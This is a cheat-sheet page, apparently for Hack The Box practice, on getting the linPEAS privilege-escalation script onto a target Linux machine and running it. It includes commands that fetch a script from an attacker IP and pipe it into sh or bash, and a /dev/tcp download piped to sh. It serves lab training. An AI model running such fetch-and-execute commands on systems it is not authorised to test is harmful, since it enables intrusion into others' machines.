linPEAS

linPEAS checks everything and highlights in red and yellow what is almost certainly exploitable. It does not replace looking by hand: use it when the quick review (sudo -l, SUID, processes) finds nothing, and read its output carefully.

Platform
Linux (sh)
Official site
github.com/peass-ng/PEASS-ng
On HTB
5 machines
Install
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

linPEAS cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
8 commands

Getting it onto the victim

Serve it from your machine Attacker
python3 -m http.server 80
Run it without touching disk Target
curl -L http://10.10.14.5/linpeas.sh | sh
Without curl or wget: over netcat Attacker
nc -lvnp 9002 < linpeas.sh

On the victim: cat < /dev/tcp/{{LHOST}}/9002 | sh

Save the colored output and read it later Target
./linpeas.sh | tee /tmp/lp.txt
less -R /tmp/lp.txt

In our cheatsheets

File transfer › Linux

wget Target
wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.sh
curl Target
curl http://10.10.14.5/linpeas.sh -o /tmp/linpeas.sh
Run without touching disk Target
curl -s http://10.10.14.5/linpeas.sh | bash

Linux privilege escalation › Checks

linPEAS
curl -L http://10.10.14.5/linpeas.sh | sh

Grab it from github.com/peass-ng/PEASS-ng and serve it with python3 -m http.server 80.

HTB machines where linPEAS is used

Taken from the chapters of IppSec videos where linPEAS shows up. The ▶ link jumps to the minute of that part.